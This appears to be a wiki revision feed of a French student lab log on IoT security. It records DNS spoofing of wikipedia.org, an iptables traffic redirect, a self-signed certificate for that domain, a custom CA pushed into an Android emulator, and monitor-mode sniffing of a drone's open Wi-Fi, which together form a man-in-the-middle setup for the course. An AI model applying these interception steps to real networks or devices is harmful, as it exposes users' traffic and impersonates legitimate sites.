Formatting 'android.qcow2', fmt=qcow2 cluster_size=65536 extended_l2=off compression_type=zlib size=17179869184 lazy_refcounts=off refcount_bits=16&lt;br /&gt;
&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
===== Installation de l'android =====&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;c&amp;quot;&amp;gt;&lt;br /&gt;
qemu-system-x86_64 \&lt;br /&gt;
  -m 4096 \&lt;br /&gt;
  -smp 4 \&lt;br /&gt;
  -enable-kvm \&lt;br /&gt;
  -drive file=android.qcow2,format=qcow2 \&lt;br /&gt;
  -cdrom ~/Downloads/android-x86-9.0-r2.iso \&lt;br /&gt;
  -boot d \&lt;br /&gt;
  -net nic -net user&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;Pour lancer l'android : &amp;lt;syntaxhighlight lang=&amp;quot;c&amp;quot;&amp;gt;&lt;br /&gt;
qemu-system-x86_64   -m 4096   -smp 4   -enable-kvm   -drive file=android.qcow2,format=qcow2 -net nic -net user&lt;br /&gt;
&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
==== 2ème tentative avec Android Studio ====&lt;br /&gt;
&lt;br /&gt;
===== Installation d’Android Studio =====&lt;br /&gt;
J'ai installé Android Studio à partir du site officiel de Google.&lt;br /&gt;
&lt;br /&gt;
Après l’installation, les composants suivants ont été installés via le SDK Manager :&lt;br /&gt;
&lt;br /&gt;
* Android SDK Platform&lt;br /&gt;
* Android SDK Platform-Tools&lt;br /&gt;
* Android Emulator&lt;br /&gt;
&lt;br /&gt;
L’installation du SDK s’est déroulée sans erreur particulière&lt;br /&gt;
&lt;br /&gt;
Puis la création de l'AVD :&lt;br /&gt;
&lt;br /&gt;
* Modèle : Pixel 6 Pro&lt;br /&gt;
* Version : API 31 Android 12&lt;br /&gt;
* Architecture : x86_64 &lt;br /&gt;
&lt;br /&gt;
== Mise en place du certificat ==&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
Première tentative avec les commandes suivantes :&amp;lt;syntaxhighlight lang=&amp;quot;c&amp;quot;&amp;gt;&lt;br /&gt;
adb root&lt;br /&gt;
adb shell avbctl disable-verification&lt;br /&gt;
adb reboot&lt;br /&gt;
adb wait-for-device root&lt;br /&gt;
adb remount&lt;br /&gt;
adb push 500e3c27.0 /system/etc/security/cacerts&lt;br /&gt;
adb shell chmod 664 /system/etc/security/cacerts/500e3c27.0&lt;br /&gt;
adb reboot&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
=== Problèmes rencontrés ===&lt;br /&gt;
&lt;br /&gt;
==== Accès root et système en lecture seule ====&lt;br /&gt;
Même lorsque l’accès ADB était fonctionnel, l’accès root était souvent limité. Les partitions système étaient en lecture seule et les tentatives de remount ('''adb remount''') ou de modification du système échouaient.&lt;br /&gt;
&lt;br /&gt;
=== Résolutions ===&lt;br /&gt;
Démarrage de l'émulateur en Cold Boot avec la commande : &amp;lt;syntaxhighlight lang=&amp;quot;c&amp;quot;&amp;gt;&lt;br /&gt;
emulator -avd Pixel_6_Pro -writable-system -no-snapshot-load&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;Puis,&amp;lt;syntaxhighlight lang=&amp;quot;c&amp;quot;&amp;gt;&lt;br /&gt;
adb root&lt;br /&gt;
adb disable-verity&lt;br /&gt;
adb reboot&lt;br /&gt;
adb root&lt;br /&gt;
adb remount&lt;br /&gt;
adb push 500e3c27.0 /system/etc/security/cacerts/&lt;br /&gt;
adb shell chmod 664 /system/etc/security/cacerts/500e3c27.0&lt;br /&gt;
adb reboot&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
== Drone ==&lt;br /&gt;
Utilisation de la carte Wipi&amp;lt;syntaxhighlight lang=&amp;quot;c&amp;quot;&amp;gt;&lt;br /&gt;
airmon-ng start wlx40a5efd21166&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&amp;lt;syntaxhighlight lang=&amp;quot;c&amp;quot;&amp;gt;&lt;br /&gt;
airodump-ng -c 1 wlan0mon&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;40:07:76:C0:20:23  -39        4        0    0   1   65   OPN              WIFI_UFO_2320c0 &amp;lt;syntaxhighlight lang=&amp;quot;c&amp;quot;&amp;gt;&lt;br /&gt;
iwconfig wlan0mon channel 1&lt;br /&gt;
wireshark&lt;br /&gt;
&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
[[Fichier:Wireshark.png|gauche|vignette|869x869px]]&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
=== Connexion Zabeth-Drone ===&lt;br /&gt;
Configuration wifi :&amp;lt;syntaxhighlight lang=&amp;quot;c&amp;quot;&amp;gt;&lt;br /&gt;
iface wlan1 inet static&lt;br /&gt;
  wireless-essid WIFI_UFO_2320c0&lt;br /&gt;
  address 192.168.1.101/24&lt;br /&gt;
&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;Vérification :&lt;br /&gt;
&lt;br /&gt;
iwconfig&amp;lt;syntaxhighlight&amp;gt;&lt;br /&gt;
wlan1     IEEE 802.11  ESSID:&amp;quot;WIFI_UFO_2320c0&amp;quot;  &lt;br /&gt;
          Mode:Managed  Frequency:2.412 GHz  Access Point: 40:07:76:C0:20:23   &lt;br /&gt;
          Bit Rate=26 Mb/s   Tx-Power=22 dBm   &lt;br /&gt;
          Retry short limit:7   RTS thr:off   Fragment thr:off&lt;br /&gt;
          Encryption key:off&lt;br /&gt;
          Power Management:on&lt;br /&gt;
          Link Quality=63/70  Signal level=-47 dBm  &lt;br /&gt;
          Rx invalid nwid:0  Rx invalid crypt:0  Rx invalid frag:0&lt;br /&gt;
          Tx excessive retries:0  Invalid misc:28   Missed beacon:0&lt;br /&gt;
&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;ping 192.168.1.1&amp;lt;syntaxhighlight lang=&amp;quot;c&amp;quot;&amp;gt;&lt;br /&gt;
64 bytes from 192.168.1.1: icmp_seq=1 ttl=255 time=8.50 ms&lt;br /&gt;
64 bytes from 192.168.1.1: icmp_seq=2 ttl=255 time=9.05 ms&lt;br /&gt;
64 bytes from 192.168.1.1: icmp_seq=3 ttl=255 time=3.33 ms&lt;br /&gt;
&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;/div&gt;</summary>
		<author><name>Handrian</name></author>
	</entry>
	<entry>
		<id>https://wiki-se.plil.fr/mediawiki/index.php?title=SE5_IdO_s%C3%A9curit%C3%A9_des_objets_2025/2026_b3&amp;diff=11162</id>
		<title>SE5 IdO sécurité des objets 2025/2026 b3</title>
		<link rel="alternate" type="text/html" href="https://wiki-se.plil.fr/mediawiki/index.php?title=SE5_IdO_s%C3%A9curit%C3%A9_des_objets_2025/2026_b3&amp;diff=11162"/>
		<updated>2026-01-13T13:28:02Z</updated>

		<summary type="html">&lt;p&gt;Handrian : /* Drone */&lt;/p&gt;
&lt;hr /&gt;
&lt;div&gt;=== Création de la machine virtuelle ===&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;c&amp;quot;&amp;gt;&lt;br /&gt;
xen-create-image --hostname=SE5-handrian --dhcp --bridge=bridgeStudents --dir=/usr/local/xen --size=10GB --dist=daedalus --memory=1024M&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
=== Configuration VM ===&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;c&amp;quot;&amp;gt;&lt;br /&gt;
# This file describes the network interfaces available on your system&lt;br /&gt;
&lt;br /&gt;
# and how to activate them. For more information, see interfaces(5).&lt;br /&gt;
&lt;br /&gt;
# The loopback network interface&lt;br /&gt;
&lt;br /&gt;
auto lo&lt;br /&gt;
&lt;br /&gt;
iface lo inet loopback&lt;br /&gt;
&lt;br /&gt;
# The primary network interface&lt;br /&gt;
&lt;br /&gt;
auto eth0&lt;br /&gt;
&lt;br /&gt;
iface eth0 inet static&lt;br /&gt;
&lt;br /&gt;
       address 172.26.145.111&lt;br /&gt;
&lt;br /&gt;
       netmask 255.255.255.0&lt;br /&gt;
&lt;br /&gt;
       gateway 172.26.145.251&lt;br /&gt;
&lt;br /&gt;
       dns-nameservers 172.26.145.251&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
#VLAN411&lt;br /&gt;
&lt;br /&gt;
auto eth1&lt;br /&gt;
&lt;br /&gt;
iface eth1 inet static&lt;br /&gt;
&lt;br /&gt;
       address 172.16.11.0&lt;br /&gt;
&lt;br /&gt;
       netmask 255.255.255.0&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
=== Capbreton ===&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;c&amp;quot;&amp;gt;&lt;br /&gt;
#  Networking&lt;br /&gt;
&lt;br /&gt;
#&lt;br /&gt;
&lt;br /&gt;
dhcp        = 'dhcp'&lt;br /&gt;
&lt;br /&gt;
vif         = [ 'mac=00:16:3E:1A:68:1E,bridge=bridgeStudents' ,&lt;br /&gt;
&lt;br /&gt;
       'mac=00:16:3E:1A:68:1F,bridge=g3_handrian']&lt;br /&gt;
&lt;br /&gt;
#&lt;br /&gt;
&lt;br /&gt;
Configuration&lt;br /&gt;
&lt;br /&gt;
auto Trunk.411&lt;br /&gt;
&lt;br /&gt;
iface Trunk.411 inet manual&lt;br /&gt;
&lt;br /&gt;
       vlan-raw-device Trunk&lt;br /&gt;
&lt;br /&gt;
       up ip link set $IFACE up&lt;br /&gt;
&lt;br /&gt;
       down ip link set $IFACE down&lt;br /&gt;
&lt;br /&gt;
auto g3_handrian&lt;br /&gt;
&lt;br /&gt;
iface g3_handrian inet manual&lt;br /&gt;
&lt;br /&gt;
   bridge_ports Trunk.411&lt;br /&gt;
&lt;br /&gt;
   up ip link set $IFACE up&lt;br /&gt;
&lt;br /&gt;
   down ip link set $IFACE down&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
== Sécurisation WiFi par WPA2-PSK ==&lt;br /&gt;
&amp;lt;syntaxhighlight&amp;gt;&lt;br /&gt;
dot11 ssid SE5-handrian&lt;br /&gt;
  vlan 411&lt;br /&gt;
  authentication open&lt;br /&gt;
  authentication key-management wpa&lt;br /&gt;
  wpa-psk ascii 0 &amp;quot; &amp;quot;&lt;br /&gt;
  mbssid guest-mode&lt;br /&gt;
exit&lt;br /&gt;
interface Dot11Radio1&lt;br /&gt;
  encryption vlan 411 mode ciphers aes-ccm&lt;br /&gt;
  ssid SE5-handrian&lt;br /&gt;
  mbssid&lt;br /&gt;
  no shutdown&lt;br /&gt;
exit&lt;br /&gt;
&lt;br /&gt;
interface Dot11Radio1.411&lt;br /&gt;
  encapsulation dot1Q 411&lt;br /&gt;
  bridge-group 11&lt;br /&gt;
exit&lt;br /&gt;
&lt;br /&gt;
interface GigabitEthernet0.411&lt;br /&gt;
  encapsulation dot1Q 411&lt;br /&gt;
  bridge-group 11&lt;br /&gt;
exit&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;Pour vérifier :  ap# sh dot11 bssid&amp;lt;syntaxhighlight&amp;gt;&lt;br /&gt;
ap#sh dot11 bssid                                                               &lt;br /&gt;
Interface      BSSID         Guest  SSID                                        &lt;br /&gt;
Dot11Radio1   04da.d2d1.4bf0  Yes  SE5-azongo                                   &lt;br /&gt;
Dot11Radio1   04da.d2d1.4bf1  Yes  SE5-crhanim                                  &lt;br /&gt;
Dot11Radio1   04da.d2d1.4bf2  Yes  SE5-handrian&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;Installer isc-dhcp-server&lt;br /&gt;
&lt;br /&gt;
dans la VM  :  /etc/dhcp/dhcpd.conf&amp;lt;syntaxhighlight&amp;gt;&lt;br /&gt;
subnet 172.16.11.0 netmask 255.255.255.0 {&lt;br /&gt;
  range 172.16.11.100 172.16.11.200;&lt;br /&gt;
  option routers 172.16.11.1;&lt;br /&gt;
  #option routers rtr-239-0-1.example.org, rtr-239-0-2.example.org;&lt;br /&gt;
  option domain-name-servers 172.16.11.1;&lt;br /&gt;
}&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;dans /etc/default/isc-dhcp-server : INTERFACESv4=&amp;quot;eth1&amp;quot;&lt;br /&gt;
&lt;br /&gt;
dans /etc/sysctl.conf :  décommenter : net.ipv4.ip_forward=1&lt;br /&gt;
&lt;br /&gt;
sysctl -p /etc/sysctl.conf : pour recharger '''configuration sysctl.'''&lt;br /&gt;
&lt;br /&gt;
sysctl net.ipv4.ip_forward : pour vérifier&lt;br /&gt;
&lt;br /&gt;
== Interception de flux ==&lt;br /&gt;
&lt;br /&gt;
== Redirection par DNS ==&lt;br /&gt;
Modification du fichier  '''/etc/bind/named.conf.local'''&amp;lt;syntaxhighlight lang=&amp;quot;c&amp;quot;&amp;gt;&lt;br /&gt;
//&lt;br /&gt;
// Do any local configuration here&lt;br /&gt;
//&lt;br /&gt;
&lt;br /&gt;
// Consider adding the 1918 zones here, if they are not used in your&lt;br /&gt;
// organization&lt;br /&gt;
//include &amp;quot;/etc/bind/zones.rfc1918&amp;quot;;&lt;br /&gt;
&lt;br /&gt;
zone &amp;quot;wikipedia.org&amp;quot; {&lt;br /&gt;
        type master;&lt;br /&gt;
        file &amp;quot;/etc/bind/db.wikipedia.org&amp;quot;;&lt;br /&gt;
};&lt;br /&gt;
&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;Création de la zone '''db.wikipedia.org'''&amp;lt;syntaxhighlight lang=&amp;quot;c&amp;quot;&amp;gt;&lt;br /&gt;
$TTL    604800&lt;br /&gt;
@       IN      SOA     ns.wikipedia.org. admin.wikipedia.org. (&lt;br /&gt;
                             10         ; Serial&lt;br /&gt;
                         604800         ; Refresh&lt;br /&gt;
                          86400         ; Retry&lt;br /&gt;
                        2419200         ; Expire&lt;br /&gt;
                         604800 )       ; Negative Cache TTL&lt;br /&gt;
;&lt;br /&gt;
@       IN      NS      ns.wikipedia.org.&lt;br /&gt;
ns      IN      A       172.16.11.1&lt;br /&gt;
@       IN      A       172.16.11.1&lt;br /&gt;
www     IN      A       172.16.11.1&lt;br /&gt;
&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
== Redirection réseau ==&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;c&amp;quot;&amp;gt;&lt;br /&gt;
iptables -t nat -A PREROUTING -i eth0 -p tcp --dport 80 -j REDIRECT --to-ports 8080&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;'''iptables -t nat -L -n -v'''&amp;lt;syntaxhighlight lang=&amp;quot;c&amp;quot;&amp;gt;&lt;br /&gt;
Chain PREROUTING (policy ACCEPT 0 packets, 0 bytes)&lt;br /&gt;
 pkts bytes target     prot opt in     out     source               destination         &lt;br /&gt;
    0     0 REDIRECT   6    --  eth0   *       0.0.0.0/0            0.0.0.0/0            tcp dpt:80 redir ports 8080&lt;br /&gt;
&lt;br /&gt;
Chain INPUT (policy ACCEPT 0 packets, 0 bytes)&lt;br /&gt;
 pkts bytes target     prot opt in     out     source               destination         &lt;br /&gt;
&lt;br /&gt;
Chain OUTPUT (policy ACCEPT 0 packets, 0 bytes)&lt;br /&gt;
 pkts bytes target     prot opt in     out     source               destination         &lt;br /&gt;
&lt;br /&gt;
Chain POSTROUTING (policy ACCEPT 0 packets, 0 bytes)&lt;br /&gt;
 pkts bytes target     prot opt in     out     source               destination         &lt;br /&gt;
    5  1468 MASQUERADE  0    --  *      *       172.16.11.0/24       0.0.0.0/0   &lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
== Serveur Apache sécurisé ==&lt;br /&gt;
&lt;br /&gt;
=== Génération du certificat auto-signé Apache ===&lt;br /&gt;
&amp;lt;syntaxhighlight&amp;gt;&lt;br /&gt;
openssl req -x509 -nodes -days 365 \&lt;br /&gt;
  -newkey rsa:2048 \&lt;br /&gt;
  -keyout /etc/ssl/apache/apache-selfsigned.key \&lt;br /&gt;
  -out /etc/ssl/apache/apache-selfsigned.crt \&lt;br /&gt;
  -subj &amp;quot;/C=FR/ST=Nord/L=Lille/O=Polytech/CN=wikipedia.org&amp;quot;&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
=== Configuration Apache ===&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;c&amp;quot;&amp;gt;&lt;br /&gt;
&amp;lt;VirtualHost *:443&amp;gt;&lt;br /&gt;
    ServerName wikipedia.org&lt;br /&gt;
&lt;br /&gt;
    DocumentRoot /var/www/html&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
    SSLEngine on&lt;br /&gt;
    SSLCertificateFile /etc/ssl/apache/apache-selfsigned.crt&lt;br /&gt;
    SSLCertificateKeyFile /etc/ssl/apache/apache-selfsigned.key&lt;br /&gt;
&lt;br /&gt;
    ErrorLog ${APACHE_LOG_DIR}/site-error.log&lt;br /&gt;
    CustomLog ${APACHE_LOG_DIR}/site-access.log combined&lt;br /&gt;
&lt;br /&gt;
&amp;lt;/VirtualHost&amp;gt;&lt;br /&gt;
&lt;br /&gt;
&amp;lt;VirtualHost *:80&amp;gt;&lt;br /&gt;
    ServerName wikipedia.org&lt;br /&gt;
    Redirect permanent / https://wikipedia.org/&lt;br /&gt;
&amp;lt;/VirtualHost&amp;gt;&lt;br /&gt;
&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
==== Pour activer ====&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;c&amp;quot;&amp;gt;&lt;br /&gt;
a2ensite site-se5.conf&lt;br /&gt;
service apache2 reload&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;Pour véridier l'écoute du port 443&amp;lt;syntaxhighlight lang=&amp;quot;c&amp;quot;&amp;gt;&lt;br /&gt;
# ss -tulpn | grep 443&lt;br /&gt;
tcp   LISTEN 0      128                *:443             *:*    users:((&amp;quot;apache2&amp;quot;,pid=5394,fd=6),(&amp;quot;apache2&amp;quot;,pid=5393,fd=6),(&amp;quot;apache2&amp;quot;,pid=5390,fd=6))&lt;br /&gt;
&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
== Machine virtuelle android ==&lt;br /&gt;
&lt;br /&gt;
=== Installation de la machine virtuelle Android ===&lt;br /&gt;
&lt;br /&gt;
==== 1ère tentative avec QEMU : Création disque ====&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;c&amp;quot;&amp;gt;&lt;br /&gt;
qemu-img create -f qcow2 android.qcow2 16G&lt;br /&gt;
Formatting 'android.qcow2', fmt=qcow2 cluster_size=65536 extended_l2=off compression_type=zlib size=17179869184 lazy_refcounts=off refcount_bits=16&lt;br /&gt;
&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
===== Installation de l'android =====&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;c&amp;quot;&amp;gt;&lt;br /&gt;
qemu-system-x86_64 \&lt;br /&gt;
  -m 4096 \&lt;br /&gt;
  -smp 4 \&lt;br /&gt;
  -enable-kvm \&lt;br /&gt;
  -drive file=android.qcow2,format=qcow2 \&lt;br /&gt;
  -cdrom ~/Downloads/android-x86-9.0-r2.iso \&lt;br /&gt;
  -boot d \&lt;br /&gt;
  -net nic -net user&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;Pour lancer l'android : &amp;lt;syntaxhighlight lang=&amp;quot;c&amp;quot;&amp;gt;&lt;br /&gt;
qemu-system-x86_64   -m 4096   -smp 4   -enable-kvm   -drive file=android.qcow2,format=qcow2 -net nic -net user&lt;br /&gt;
&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
==== 2ème tentative avec Android Studio ====&lt;br /&gt;
&lt;br /&gt;
===== Installation d’Android Studio =====&lt;br /&gt;
J'ai installé Android Studio à partir du site officiel de Google.&lt;br /&gt;
&lt;br /&gt;
Après l’installation, les composants suivants ont été installés via le SDK Manager :&lt;br /&gt;
&lt;br /&gt;
* Android SDK Platform&lt;br /&gt;
* Android SDK Platform-Tools&lt;br /&gt;
* Android Emulator&lt;br /&gt;
&lt;br /&gt;
L’installation du SDK s’est déroulée sans erreur particulière&lt;br /&gt;
&lt;br /&gt;
Puis la création de l'AVD :&lt;br /&gt;
&lt;br /&gt;
* Modèle : Pixel 6 Pro&lt;br /&gt;
* Version : API 31 Android 12&lt;br /&gt;
* Architecture : x86_64 &lt;br /&gt;
&lt;br /&gt;
== Mise en place du certificat ==&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
Première tentative avec les commandes suivantes :&amp;lt;syntaxhighlight lang=&amp;quot;c&amp;quot;&amp;gt;&lt;br /&gt;
adb root&lt;br /&gt;
adb shell avbctl disable-verification&lt;br /&gt;
adb reboot&lt;br /&gt;
adb wait-for-device root&lt;br /&gt;
adb remount&lt;br /&gt;
adb push 500e3c27.0 /system/etc/security/cacerts&lt;br /&gt;
adb shell chmod 664 /system/etc/security/cacerts/500e3c27.0&lt;br /&gt;
adb reboot&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
=== Problèmes rencontrés ===&lt;br /&gt;
&lt;br /&gt;
==== Accès root et système en lecture seule ====&lt;br /&gt;
Même lorsque l’accès ADB était fonctionnel, l’accès root était souvent limité. Les partitions système étaient en lecture seule et les tentatives de remount ('''adb remount''') ou de modification du système échouaient.&lt;br /&gt;
&lt;br /&gt;
=== Résolutions ===&lt;br /&gt;
Démarrage de l'émulateur en Cold Boot avec la commande : &amp;lt;syntaxhighlight lang=&amp;quot;c&amp;quot;&amp;gt;&lt;br /&gt;
emulator -avd Pixel_6_Pro -writable-system -no-snapshot-load&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;Puis,&amp;lt;syntaxhighlight lang=&amp;quot;c&amp;quot;&amp;gt;&lt;br /&gt;
adb root&lt;br /&gt;
adb disable-verity&lt;br /&gt;
adb reboot&lt;br /&gt;
adb root&lt;br /&gt;
adb remount&lt;br /&gt;
adb push 500e3c27.0 /system/etc/security/cacerts/&lt;br /&gt;
adb shell chmod 664 /system/etc/security/cacerts/500e3c27.0&lt;br /&gt;
adb reboot&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
== Drone ==&lt;br /&gt;
Utilisation de la carte Wipi&amp;lt;syntaxhighlight lang=&amp;quot;c&amp;quot;&amp;gt;&lt;br /&gt;
airmon-ng start wlx40a5efd21166&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&amp;lt;syntaxhighlight lang=&amp;quot;c&amp;quot;&amp;gt;&lt;br /&gt;
airodump-ng -c 1 wlan0mon&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;40:07:76:C0:20:23  -39        4        0    0   1   65   OPN              WIFI_UFO_2320c0 &amp;lt;syntaxhighlight lang=&amp;quot;c&amp;quot;&amp;gt;&lt;br /&gt;
iwconfig wlan0mon channel 1&lt;br /&gt;
wireshark&lt;br /&gt;
&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
[[Fichier:Wireshark.png|gauche|vignette|869x869px]]&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
=== Connexion Zabeth-Drone ===&lt;br /&gt;
Configuration wifi :&amp;lt;syntaxhighlight lang=&amp;quot;c&amp;quot;&amp;gt;&lt;br /&gt;
iface wlan1 inet static&lt;br /&gt;
  wireless-essid WIFI_UFO_2320c0&lt;br /&gt;
  address 192.168.1.101/24&lt;br /&gt;
&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;Vérification :&lt;br /&gt;
&lt;br /&gt;
iwconfig&amp;lt;syntaxhighlight&amp;gt;&lt;br /&gt;
wlan1     IEEE 802.11  ESSID:&amp;quot;WIFI_UFO_2320c0&amp;quot;  &lt;br /&gt;
          Mode:Managed  Frequency:2.412 GHz  Access Point: 40:07:76:C0:20:23   &lt;br /&gt;
          Bit Rate=26 Mb/s   Tx-Power=22 dBm   &lt;br /&gt;
          Retry short limit:7   RTS thr:off   Fragment thr:off&lt;br /&gt;
          Encryption key:off&lt;br /&gt;
          Power Management:on&lt;br /&gt;
          Link Quality=63/70  Signal level=-47 dBm  &lt;br /&gt;
          Rx invalid nwid:0  Rx invalid crypt:0  Rx invalid frag:0&lt;br /&gt;
          Tx excessive retries:0  Invalid misc:28   Missed beacon:0&lt;br /&gt;
&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;ping 192.168.1.1&amp;lt;syntaxhighlight lang=&amp;quot;c&amp;quot;&amp;gt;&lt;br /&gt;
64 bytes from 192.168.1.1: icmp_seq=1 ttl=255 time=8.50 ms&lt;br /&gt;
64 bytes from 192.168.1.1: icmp_seq=2 ttl=255 time=9.05 ms&lt;br /&gt;
64 bytes from 192.168.1.1: icmp_seq=3 ttl=255 time=3.33 ms&lt;br /&gt;
&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;/div&gt;</summary>
		<author><name>Handrian</name></author>
	</entry>
	<entry>
		<id>https://wiki-se.plil.fr/mediawiki/index.php?title=SE5_IdO_s%C3%A9curit%C3%A9_des_objets_2025/2026_b3&amp;diff=10945</id>
		<title>SE5 IdO sécurité des objets 2025/2026 b3</title>
		<link rel="alternate" type="text/html" href="https://wiki-se.plil.fr/mediawiki/index.php?title=SE5_IdO_s%C3%A9curit%C3%A9_des_objets_2025/2026_b3&amp;diff=10945"/>
		<updated>2025-12-16T17:13:02Z</updated>

		<summary type="html">&lt;p&gt;Handrian : /* Résolutions */&lt;/p&gt;
&lt;hr /&gt;
&lt;div&gt;=== Création de la machine virtuelle ===&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;c&amp;quot;&amp;gt;&lt;br /&gt;
xen-create-image --hostname=SE5-handrian --dhcp --bridge=bridgeStudents --dir=/usr/local/xen --size=10GB --dist=daedalus --memory=1024M&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
=== Configuration VM ===&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;c&amp;quot;&amp;gt;&lt;br /&gt;
# This file describes the network interfaces available on your system&lt;br /&gt;
&lt;br /&gt;
# and how to activate them. For more information, see interfaces(5).&lt;br /&gt;
&lt;br /&gt;
# The loopback network interface&lt;br /&gt;
&lt;br /&gt;
auto lo&lt;br /&gt;
&lt;br /&gt;
iface lo inet loopback&lt;br /&gt;
&lt;br /&gt;
# The primary network interface&lt;br /&gt;
&lt;br /&gt;
auto eth0&lt;br /&gt;
&lt;br /&gt;
iface eth0 inet static&lt;br /&gt;
&lt;br /&gt;
       address 172.26.145.111&lt;br /&gt;
&lt;br /&gt;
       netmask 255.255.255.0&lt;br /&gt;
&lt;br /&gt;
       gateway 172.26.145.251&lt;br /&gt;
&lt;br /&gt;
       dns-nameservers 172.26.145.251&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
#VLAN411&lt;br /&gt;
&lt;br /&gt;
auto eth1&lt;br /&gt;
&lt;br /&gt;
iface eth1 inet static&lt;br /&gt;
&lt;br /&gt;
       address 172.16.11.0&lt;br /&gt;
&lt;br /&gt;
       netmask 255.255.255.0&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
=== Capbreton ===&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;c&amp;quot;&amp;gt;&lt;br /&gt;
#  Networking&lt;br /&gt;
&lt;br /&gt;
#&lt;br /&gt;
&lt;br /&gt;
dhcp        = 'dhcp'&lt;br /&gt;
&lt;br /&gt;
vif         = [ 'mac=00:16:3E:1A:68:1E,bridge=bridgeStudents' ,&lt;br /&gt;
&lt;br /&gt;
       'mac=00:16:3E:1A:68:1F,bridge=g3_handrian']&lt;br /&gt;
&lt;br /&gt;
#&lt;br /&gt;
&lt;br /&gt;
Configuration&lt;br /&gt;
&lt;br /&gt;
auto Trunk.411&lt;br /&gt;
&lt;br /&gt;
iface Trunk.411 inet manual&lt;br /&gt;
&lt;br /&gt;
       vlan-raw-device Trunk&lt;br /&gt;
&lt;br /&gt;
       up ip link set $IFACE up&lt;br /&gt;
&lt;br /&gt;
       down ip link set $IFACE down&lt;br /&gt;
&lt;br /&gt;
auto g3_handrian&lt;br /&gt;
&lt;br /&gt;
iface g3_handrian inet manual&lt;br /&gt;
